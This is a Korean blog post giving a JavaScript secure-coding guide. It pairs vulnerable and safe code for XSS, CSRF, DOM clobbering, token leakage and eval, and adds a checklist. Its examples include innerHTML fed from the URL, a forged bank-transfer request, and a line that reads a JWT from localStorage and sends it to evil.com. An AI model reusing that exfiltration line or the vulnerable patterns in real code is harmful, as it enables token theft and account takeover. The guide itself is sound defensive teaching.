시큐어코딩/Javascript

[시큐어코딩]자바스크립트 시큐어코딩 가이드, 개발자와 보안담당자가 함께하는 대응방안

ICT리더 리치 2025. 4. 13. 11:30
반응형

자바스크립트(JavaScript)는 가장 널리 쓰이면서도, 가장 많은 보안 위협에 노출되는 언어입니다. 그렇기에 더더욱 프론트엔드 개발자와 보안 담당자 모두가 함께 이해하고 실천해야 할 보안 코딩 규칙이 존재합니다.

이 글에서는 실무에서 자주 등장하는 취약점을 중심으로, 취약 코드 vs 안전 코드를 비교하고 조직에서 활용 가능한 JS 보안 체크리스트와 시큐어코딩 문화 확산 전략까지 함께 소개합니다.

1. 자바스크립트 시큐어코딩이 중요한 이유

자바스크립트(JavaScript)는 웹 브라우저에서 실행되는 대표적인 클라이언트 사이드 언어입니다. 그만큼 사용자와 가장 가까운 위치에서 동작하며, 보안 위협에 직접 노출될 가능성도 가장 높습니다.

✔ JS에서 발생 가능한 대표적인 위협

  • XSS (Cross-Site Scripting) – 사용자 입력을 검증하지 않고 DOM에 출력
  • CSRF (Cross-Site Request Forgery) – 인증된 사용자의 세션을 악용
  • DOM Clobbering – element ID 조작을 통한 DOM 오염
  • Token Leakage – JWT/세션 토큰이 로컬에 노출되어 탈취

이러한 문제는 개발 단계에서 예방하지 않으면, 운영 중 보안 사고로 이어질 수 있습니다. 따라서 보안은 QA가 아닌, 개발 단계부터 코드 설계에 반영되어야 할 요소입니다.

특히 최근에는 웹이 단순 페이지가 아닌, SPA, 웹앱, 마이크로프론트엔드 형태로 복잡해지고 있어, 프론트엔드 개발자도 보안 사고의 중심에 설 수 있습니다.

✅ 시큐어코딩은 선택이 아닌 생존 조건입니다.
초기 설계부터 보안을 염두에 둔 자바스크립트 코드가 필요합니다.

2. 실무에서 자주 발생하는 JS 취약점 5가지

자바스크립트는 사용자의 브라우저에서 직접 실행되기 때문에, 보안 취약점이 발견되면 사용자 데이터와 세션이 즉시 위협받을 수 있습니다. 다음은 실무에서 가장 자주 발견되는 취약점 5가지입니다.

1. XSS (Cross-Site Scripting)

사용자 입력값을 필터링 없이 DOM에 삽입하거나 innerHTML을 그대로 사용하는 경우 발생합니다.

// 취약 예시
document.getElementById("result").innerHTML = location.search;

 

2. CSRF (Cross-Site Request Forgery)

로그인한 사용자의 인증 쿠키를 이용해 원치 않는 요청을 수행하게 하는 공격입니다. 자바스크립트에서 CSRF 방어를 위한 토큰 검증 로직이 빠졌을 경우에 발생합니다.

// 쿠키 기반 인증 요청, CSRF 방어 없음
fetch("/api/delete-account", { method: "POST", credentials: "include" });

 

3. DOM Clobbering

HTML 요소의 id 속성과 window 객체가 충돌할 수 있어 공격자가 window.alert 같은 프로퍼티를 오염시킬 수 있습니다.

<input id="location">
document.location = "https://site.com"; // 실제로는 DOM 오염 가능

 

4. Token Leakage (토큰 유출)

JWT 또는 인증 토큰을 localStorage/sessionStorage에 저장한 뒤, 크로스사이트 스크립팅으로 탈취되는 상황입니다.

// JWT를 localStorage에 저장 (XSS에 취약)
localStorage.setItem("token", "eyJhbGciOiJI...");  // 탈취 대상

 

5. 취약한 eval(), innerHTML, setTimeout()

사용자 입력을 그대로 코드로 실행하는 함수들입니다. 절대 입력값과 함께 사용해서는 안 됩니다.

const userInput = "alert('Hacked')";
eval(userInput); // 절대 사용 금지

 

이제 다음 단계에서는 이러한 취약점을 실제 코드 수준에서 어떻게 대응(시큐어코딩)할 수 있는지 “취약 코드 vs 안전 코드” 형태로 비교해보겠습니다.

3. 취약 코드 vs 안전 코드 비교 예시

실무에서는 "어떤 코드가 위험한지", "어떻게 고치면 안전한지"를 명확히 이해하는 것이 중요합니다. 아래는 실제 발생하기 쉬운 취약 코드와, 보안 코딩 가이드에 따라 개선된 안전 코드를 나란히 비교한 예시입니다.

❌ 취약한 코드 (XSS)

// URL 파라미터를 DOM에 직접 출력
const params = new URLSearchParams(location.search);
document.getElementById("result").innerHTML = params.get("msg");

✅ 안전한 코드 (XSS 방지)

// 사용자 입력을 텍스트 노드로 처리
const params = new URLSearchParams(location.search);
const safe = document.createTextNode(params.get("msg"));
document.getElementById("result").appendChild(safe);

 

❌ 취약한 코드 (Token 탈취)

// 토큰을 localStorage에 저장
localStorage.setItem("access_token", token);

✅ 안전한 코드 (HTTPOnly Cookie 활용)

// 서버에서 Set-Cookie: HttpOnly; Secure; 로 처리
// JS에서는 접근하지 않음 (XSS 대비)

 

❌ 취약한 코드 예시 (CSRF)

// CSRF 보호 없이 민감한 요청 처리
fetch("https://bank.com/api/transfer", {
  method: "POST",
  credentials: "include", // 쿠키 자동 전송
  body: JSON.stringify({
    to: "attacker",
    amount: 100000
  }),
  headers: { "Content-Type": "application/json" }
});

로그인된 사용자의 세션 쿠키가 자동 전송되며, 요청이 위조될 수 있습니다. CSRF Token 검증이 없기 때문에 보안에 매우 취약합니다.

✅ 안전한 코드 예시 (CSRF 방지)

// 서버에서 발급한 CSRF 토큰을 요청에 포함
fetch("/api/transfer", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "X-CSRF-TOKEN": csrfToken
  },
  body: JSON.stringify({
    to: "user123",
    amount: 50000
  })
});

 

❌ 취약한 코드 예시 (Token Leakage)

// JWT를 localStorage에 저장 (XSS에 취약)
localStorage.setItem("jwt_token", token);

// 악성 스크립트 삽입 시
const stolen = localStorage.getItem("jwt_token");
fetch("https://evil.com/log?token=" + stolen);

localStorage는 XSS 공격 시 접근이 가능하므로, 인증 토큰 저장 위치로 부적절합니다.

✅ 안전한 코드 예시 (토큰 유출 방지)

// 서버에서 JWT를 HttpOnly + Secure 쿠키로 설정
Set-Cookie: jwt_token=abc.def.ghi; HttpOnly; Secure; SameSite=Strict

// JS에서는 토큰에 직접 접근하지 않음
// 요청 시 자동으로 쿠키 포함
fetch("/api/me", {
  method: "GET",
  credentials: "include"
});

 

HttpOnly 쿠키를 활용하면 JS로 토큰을 읽을 수 없기 때문에, 토큰 탈취 및 유출 사고를 원천적으로 차단할 수 있습니다.

 

이 외에도 eval(), setTimeout(), innerHTML 사용 시에도 반드시 검증된 입력값만 활용해야 하며, 가능하면 DOMPurify 등 검증 도구를 사용하는 것도 좋은 방법입니다.

4. 프론트엔드 보안 체크리스트 (보안담당자 → 개발자)

개발자와 보안 담당자가 협업할 때 가장 유용한 방식 중 하나는 체크리스트 기반 리뷰입니다. 다음은 자바스크립트 기반 프론트엔드 프로젝트에서 적용 가능한 실전형 시큐어코딩 체크리스트입니다.

✔ 입력값 처리 관련

  • 모든 사용자 입력값은 검증/필터링 후 DOM에 반영
  • innerHTML, document.write() 사용 지양
  • createTextNode()로 XSS 차단

✔ 인증정보/세션 관리

  • JWT, 토큰 등은 로컬스토리지 대신 쿠키 (HttpOnly, Secure)로 처리
  • 토큰 만료/갱신 로직 명확히 구현
  • 로그아웃 시 클라이언트/서버 양쪽 모두 무효화

✔ 코드 보안

  • eval(), Function(), setTimeout(string) 사용 금지
  • 모듈 import 시 검증된 소스만 사용
  • 콘솔 로그에 민감정보 출력 금지

✔ 보안 헤더 설정 (서버 연계)

  • Content-Security-Policy (CSP) 헤더 적용
  • X-Content-Type-Options → nosniff
  • X-Frame-Options → deny/sameorigin

이 체크리스트는 보안 담당자와 개발자가 함께 리뷰할 수 있도록 팀 내부 문서로 공유하거나, 정기 코드 리뷰 프로세스에 포함하는 것이 이상적입니다.

5. 실무 적용 전략과 조직 내 확산 방법

자바스크립트 시큐어코딩은 개인의 노력만으로는 완성되지 않습니다. 조직 전체가 보안을 인식하고, 개발 프로세스에 내재화하는 것이 중요합니다.

✔ 코드 리뷰 문화에 보안 포함

  • PR(Pull Request) 시 시큐어코딩 체크리스트 기반 리뷰 적용
  • 보안 취약점에 대한 링크 설명, 코드 주석 공유 문화 장려
  • 보안 코드도 리팩토링 대상임을 팀 전체에 공유

✔ 사내 시큐어코딩 가이드 문서화

  • 내부 JS 개발 가이드에 보안 섹션 포함
  • 주요 예외/패턴에 대한 before vs after 코드 예시 정리
  • 초보자 onboarding에 보안 인식 교육 포함

✔ 자동화 툴 연계

  • ESLint + eslint-plugin-security 규칙 적용
  • CI/CD 파이프라인에 보안 검사 자동화
  • Git Hooks 또는 pre-commit 검사 도입
"보안은 귀찮은 게 아니라, 시스템의 신뢰도를 높이는 '품질의 한 부분'입니다." → 보안 문화를 일회성이 아닌 개발 DNA로 내재화하세요.

6. 마무리 및 실천 가이드

보안은 개발 이후의 이슈가 아니라, 개발 초기에 설계되어야 할 품질의 일부입니다. 특히 자바스크립트는 사용자와 직접 소통하는 언어이기 때문에, 한 줄의 코드 실수가 사고로 이어질 수 있습니다.

🧩 지금 바로 실천할 수 있는 5가지

  1. innerHTML 대신 createTextNode 사용하기
  2. localStorage에 토큰 저장 지양 (쿠키 + HttpOnly)
  3. eval(), setTimeout(string) 금지
  4. XSS 필터링 라이브러리 사용 고려 (ex. DOMPurify)
  5. 코드 리뷰에 보안 항목 포함 (CSP, 헤더, 인증 등)

 

이 블로그가 여러분의 팀에서 시큐어코딩 문화를 시작하는 계기가 되길 바랍니다. 시큐어하게 짜인 코드 한 줄이, 수천 명의 고객과 조직을 지킬 수 있습니다.

프론트엔드 개발자와 보안 담당자 모두가 함께 읽는 시큐어코딩 가이드, 지금 팀에 공유해보세요.

반응형